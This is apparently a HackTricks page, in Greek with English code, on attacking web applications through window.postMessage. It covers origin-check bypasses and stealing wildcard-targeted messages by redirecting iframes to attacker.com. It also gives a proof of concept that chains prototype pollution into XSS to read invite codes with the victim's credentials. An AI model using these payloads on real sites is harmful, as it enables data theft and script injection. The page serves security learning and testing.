PostMessage Vulnerabilities
Reading time: 10 minutes
PostMessage Vulnerabilities
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Send PostMessage
PostMessage χρησιμοποιεί την παρακάτω συνάρτηση για να στείλει ένα μήνυμα:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Σημειώστε ότι το targetOrigin μπορεί να είναι ένα '*' ή μια διεύθυνση URL όπως https://company.com.
Στο δεύτερο σενάριο, το μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση (ακόμα και αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική).
Εάν χρησιμοποιηθεί το wildcard, τα μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση, και θα σταλούν στην προέλευση του αντικειμένου Window.
Επίθεση iframe & wildcard στο targetOrigin
Όπως εξηγείται σε αυτή την αναφορά, αν βρείτε μια σελίδα που μπορεί να iframed (χωρίς προστασία X-Frame-Header
) και που στέλνει ευαίσθητο μήνυμα μέσω postMessage χρησιμοποιώντας ένα wildcard (*), μπορείτε να τροποποιήσετε την προέλευση του iframe και να leak το ευαίσθητο μήνυμα σε μια διεύθυνση που ελέγχετε.
Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το targetOrigin είναι ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard, αυτό το κόλπο δεν θα λειτουργήσει.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
εκμετάλλευση addEventListener
addEventListener
είναι η συνάρτηση που χρησιμοποιείται από το JS για να δηλώσει τη συνάρτηση που αναμένει postMessages
.
Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Σημειώστε σε αυτή την περίπτωση πώς το πρώτο πράγμα που κάνει ο κώδικας είναι έλεγχος της προέλευσης. Αυτό είναι τρομερά σημαντικό κυρίως αν η σελίδα πρόκειται να κάνει οτιδήποτε ευαίσθητο με τις πληροφορίες που έχει λάβει (όπως η αλλαγή ενός κωδικού πρόσβασης). Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
Αρίθμηση
Για να βρείτε ακροατές γεγονότων στην τρέχουσα σελίδα μπορείτε να:
- Αναζητήσετε τον κώδικα JS για
window.addEventListener
και$(window).on
(έκδοση JQuery) - Εκτελέσετε στην κονσόλα εργαλείων προγραμματιστή:
getEventListeners(window)
- Μεταβείτε στο Elements --> Event Listeners στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
- Χρησιμοποιήστε μια επέκταση προγράμματος περιήγησης όπως https://github.com/benso-io/posta ή https://github.com/fransr/postMessage-tracker. Αυτές οι επεκτάσεις προγράμματος περιήγησης θα παρεμβαίνουν σε όλα τα μηνύματα και θα σας τα δείχνουν.
Παράκαμψη ελέγχου προέλευσης
- Το χαρακτηριστικό
event.isTrusted
θεωρείται ασφαλές καθώς επιστρέφειTrue
μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη. - Η χρήση του
indexOf()
για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- Η μέθοδος
search()
από τοString.prototype.search()
προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Η συνάρτηση
match()
, παρόμοια με τηsearch()
, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη. -
Η συνάρτηση
escapeHtml
προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει τοhasOwnProperty
, ηescapeHtml
δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα: -
Αναμενόμενη Αποτυχία:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Παράκαμψη της διαφυγής:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο File
είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας name
που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση escapeHtml
, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
- Η ιδιότητα
document.domain
στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης.
Παράκαμψη e.origin == window.origin
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα sandboxed iframe χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με attributes sandbox και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
Με την καθορισμένη allow-popups
στο attribute sandbox, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιληφθεί επίσης το attribute allow-popups-to-escape-sandbox
, η προέλευση του παραθύρου popup ορίζεται επίσης σε null
, ευθυγραμμισμένη με την προέλευση του iframe.
Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας postMessage
, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε null
. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου e.origin == window.origin
αξιολογείται ως αληθές (null == null
), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης null
.
Για περισσότερες πληροφορίες διαβάστε:
Bypassing SOP with Iframes - 1
Παράκαμψη e.source
Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για Content Scripts από επεκτάσεις προγράμματος περιήγησης για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Μπορείτε να αναγκάσετε το e.source
ενός μηνύματος να είναι null δημιουργώντας ένα iframe που στέλνει το postMessage και διαγράφεται αμέσως.
Για περισσότερες πληροφορίες διαβάστε:
Bypassing SOP with Iframes - 2
Παράκαμψη X-Frame-Header
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να τοποθετήσετε τη σελίδα του θύματος μέσα σε ένα iframe
. Αλλά ορισμένα headers όπως το X-Frame-Header
μπορούν να αποτρέψουν αυτή τη συμπεριφορά.
Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε ευαίσθητα δεδομένα postmessage που αποστέλλονται σε ένα iframe παιδί μπλοκάροντας την κύρια σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια XSS στο παιδί για να διαρρεύσετε τα δεδομένα πριν παραληφθούν:
Blocking main page to steal postmessage
Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να αλλάξετε τη διεύθυνση αυτού του iframe παιδιού, έτσι ώστε αν λαμβάνει ένα postmessage που αποστέλλεται χρησιμοποιώντας ένα wildcard, ένας επιτιθέμενος θα μπορούσε να αλλάξει την προέλευση αυτού του iframe σε μια σελίδα που ελέγχει και να κλέψει το μήνυμα:
Steal postmessage modifying iframe location
postMessage για Prototype Pollution και/ή XSS
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του postMessage
εκτελούνται από JS, μπορείτε να iframe την σελίδα και να εκμεταλλευτείτε την προτοτυπική ρύπανση/XSS στέλνοντας την εκμετάλλευση μέσω του postMessage
.
Μερικά πολύ καλά εξηγημένα XSS μέσω postMessage
μπορούν να βρεθούν στο https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε Prototype Pollution και στη συνέχεια XSS μέσω ενός postMessage
σε ένα iframe
:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Για περισσότερες πληροφορίες:
- Σύνδεσμος στη σελίδα σχετικά με προβλήματα πρωτοτύπου
- Σύνδεσμος στη σελίδα σχετικά με XSS
- Σύνδεσμος στη σελίδα σχετικά με μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS
Αναφορές
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Για εξάσκηση: https://github.com/yavolo/eventlistener-xss-recon
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.